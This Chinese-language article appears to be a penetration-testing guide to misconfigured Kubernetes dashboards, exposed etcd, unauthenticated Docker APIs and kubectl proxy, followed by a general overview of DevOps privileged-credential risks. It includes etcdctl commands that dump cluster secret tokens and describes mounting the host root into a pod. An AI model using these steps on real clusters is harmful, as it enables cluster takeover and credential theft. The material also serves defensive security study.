dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面,在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。
在dashboard中默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard
然而通过点击Skip进入dashboard默认是没有操作集群的权限的,因为Kubernetes使用RBAC(Role-based access control)机制进行身份认证和权限管理,不同的serviceaccount拥有不同的集群权限。我们点击Skip进入dashboard实际上使用的是Kubernetes-dashboard这个ServiceAccount,如果此时该ServiceAccount没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。
但有些开发者为了方便或者在测试环境中会为Kubernetes-dashboard绑定cluster-admin这个ClusterRole(cluster-admin拥有管理集群的最高权限)。
这个极具安全风险的设置,具体如下:
1、新建dashboard-admin.yaml内容如下(该配置也类似于“利用大权限的 Service Account”一小节的配置 )
2、执行kubectl create -f dashboard-admin.yaml
此时用户通过点击Skip进入dashboard即可拥有管理集群的权限了。
进入到dashboard我们可以管理Pods、CronJobs等,这里介绍下我们如何通过创建Pod控制node节点。
我们新建一个以下配置的Pod,该pod主要是将宿主机根目录挂载到容器tmp目录下。
之后我们便可以通过该容器的tmp目录管理node节点的文件。
值得注意的是,为了集群的稳定性和安全性要求,在Kubernetes默认设计的情况下Pod是不能调度到master节点的,但如果用户自行设置关闭了Master Only状态,那么我们可以直接在master节点新建Pod更直接的控制master node;不过目前各大主流云产商上的Kubernetes集群服务,都会默认推荐让Master节点由云厂商托管,更加加剧了Master节点渗透和控制的难度 。
etcd被广泛用于存储分布式系统或机器集群数据,其默认监听了2379等端口,如果2379端口暴露到公网,可能造成敏感信息泄露,本文我们主要讨论Kubernetes由于配置错误导致etcd未授权访问的情况。Kubernetes默认使用了etcd v3来存储数据,如果我们能够控制Kubernetes etcd服务,也就拥有了整个集群的控制权。
在Kubernetes中用户可以通过配置/etc/Kubernetes/manifests/etcd.yaml更改etcd pod相关的配置,倘若管理员通过修改配置将etcd监听的host修改为0.0.0.0,则通过ectd获取Kubernetes的认证鉴权token用于控制集群就是自然而然的思路了,方式如下:
首先读取用于访问apiserver的token
export ETCDCTL_API=3export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jmrzx
利用token我们可以通过apiserver端口6443控制集群
Docker Engine API是Docker提供的基于HTTP协议的用于Docker客户端与Docker守护进程交互的API,Docker daemon接收来自Docker Engine API的请求并处理,Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有事情。
Docker daemon支持三种不同类型的socket: unix, tcp, fd。默认情况下,Docker daemon监听在unix:///var/run/docker.sock,开发者可以通过多种方式打开tcp socket,比如修改Docker配置文件如/usr/lib/systemd/system/docker.service:
之后依次执行systemctl daemon-reload、systemctl restart docker便可以使用docker -H tcp://HOST:2375这种方式控制目标docker
因此当你有访问到目标Docker API 的网络能力或主机能力的时候,你就拥有了控制当前服务器的能力。我们可以利用Docker API在远程主机上创建一个特权容器,并且挂载主机根目录到容器,对主机进行进一步的渗透,更多利用方法参考容器逃逸章节。
检测目标是否存在docker api未授权访问漏洞的方式也很简单,访问http://[host]:[port]/info路径是否含有ContainersRunning、DockerRootDir等关键字。
kubectl proxy这个子命令大家可能遇到比较少,这里单独介绍一下;由于上述几个组件的安全问题较为常见和出名,且在目前开源分支里它们在鉴权这个方面都是默认安全的,所以直接出现问题的可能性较小,企业在内外网也都收敛得不错;此时 kubectl proxy 这个子命令反而是另一个常见且蠕虫利用起来非常简单粗暴的问题。
了解使用过Kubernetes的同学应该知道,如果你在集群的POD上开放一个端口并用ClusterIP Service绑定创建一个内部服务,如果没有开放NodePort或LoadBalancer等Service的话,你是无法在集群外网访问这个服务的(除非修改了CNI插件等)。
如果想临时在本地和外网调试的话,kubectl proxy 似乎是个不错的选择。
但其实 kubectl proxy 转发的是 apiserver 所有的能力,而且是默认不鉴权的,所以 --address=0.0.0.0 就是极其危险的了。
所以这里的利用和危害和 APIServer 的小节是相似的。
2020年我们和腾讯云的同学一起处理跟进分析了多个官方开源分支所披露的安全问题,并在公司内外的云原生能力上进行复现、分析,从产品和安全两个角度出发探讨攻击场景,保障云用户和业务的安全。
其中投入时间比较多的,主要是以下十个漏洞,每个都非常有趣,且都在云产品上得到了妥善的跟进和安全能力建设:
实际攻防场景里面我真实用过且在关键路径里起到作用的也就 CVE-2020-15257,其它漏洞的POC都只在漏洞公开时自建测试的环境复现和公司内服务的漏洞挖掘用了一下,有些环境虽然有漏洞,但是实际打真实目标却没怎么用得上。
值得一提的是最开始跟进分析时,因为EXP需要钓鱼让管理员去执行 docker exec 或 kubectl exec 才可以触发,所以不怎么看好的 CVE-2019-5736 RUNC 容器逃逸漏洞;反而是真的遇到几个无交互即可触发的场景。主要是 vscode server、jupyter notebook、container webconsole 等这种提供容器内交互式shell的多租户场景在企业内网里变多了,容器逃逸之后就是新的网络环境和主机环境。
Docker 容器逃逸案例汇集
DevOps一词用于描述将软件开发(Dev)和IT运营(Ops)结合在一起并提高组织快速交付应用程序和服务的能力的一系列文化理念、实践和工具。
使用DevOps方法,可以频繁交付新的应用程序功能。弹性的云基础架构通过自动扩展流程来满足激增的需求,这些流程可以扩展新的计算资源(虚拟机或容器)并根据需要部署更多应用程序实例。组织只需为所需的计算量付费。
全世界许多企业组织都在转向敏捷和DevOps方法,以消除功能和管理壁垒,并使变更管理、配置管理和部署流程自动化。DevOps最终可以帮助组织缩短产品上市时间、提高产品质量、消除效率低下、加速数字化转型以及更快地响应客户需求。
通过合并开发和运营并推动智能之间的更多协作,DevOps可以更加贴近业务目标,缩短开发周期。使用持续集成(CI)时,开发人员每天多次将代码更改合并到存储库中,并将更改自动集成到构建中。持续交付(CD)的方法要求代码始终处于可部署状态,以便可以随时通过触摸按钮将其部署到生产中。
尽管有很多优势,DevOps仍会带来新的风险和文化变化,以及传统的安全管理解决方案和实践通常无法解决的安全挑战。这些传统方法通常太慢、太昂贵或太复杂,无法支持自动化软件交付和部署到云中或作为容器。这些挑战包括:
DevOps中使用的特权凭据是网络攻击者的目标。DevOps环境中最大的安全挑战之一是特权访问管理。DevOps流程需要使用功能非常强大但极易受到网络攻击的人机特权凭据。
人类访问:通过高速流程,DevOps从业人员需要跨开发和生产环境的特权访问。
机器访问:在自动化流程中,机器和工具需要特权(或权限)提升来访问资源,而无需人工参与。示例包括:
自动化工具:Ansible、Puppet和Chef
CI/CD工具:Jenkins、Azure DevOps和Bamboo
容器管理工具:Docker和Linux容器(LXC)
容器编排工具:Kubernetes、Red Hat OpenShift、Pivotal、Cloud Foundry
Tier 0资产(例如Ansible和Jenkins)可以访问许多其他工具使用的凭据。
一旦攻击者获得特权凭据,他们就可以完全访问DevOps管道、敏感数据库、甚至可以访问组织的整个云。攻击者意识到了这一点,并越来越多地转向寻找特权凭据,包括密码、访问密钥、SSH密钥和令牌,以及其他类型的秘密,例如证书、加密密钥和API密钥。攻击者可以在DevOps环境中利用不安全的凭据,从而导致加密劫持、数据泄露和知识产权遭到破坏。
开发人员专注于速度,而非安全性。DevOps团队专注于更快地生成代码,因此经常在安全团队的权限范围之外采用不安全的做法。这些做法可能包括在应用程序和配置文件中保留嵌入式秘密和凭据,在没有足够仔细检查的情况下重新使用第三方代码,采用新工具而不对潜在的安全问题进行评估,以及对DevOps工具和基础架构的保护不足。
以工具为中心的机密信息管理方法会造成安全漏洞。DevOps工具通常具有一些用于保护机密信息的内置功能。但是,这些功能无法促进互操作性,也无法在工具、云和平台之间安全地共享秘密。DevOps通常会结合各个工具的内置功能来管理秘密。由于无法以一致的方式监视和管理机密信息,因此该方法可能难以提供充分保护。
其它相关文章:
====正文结束====
点击下方“阅读原文”跳转至原文链接。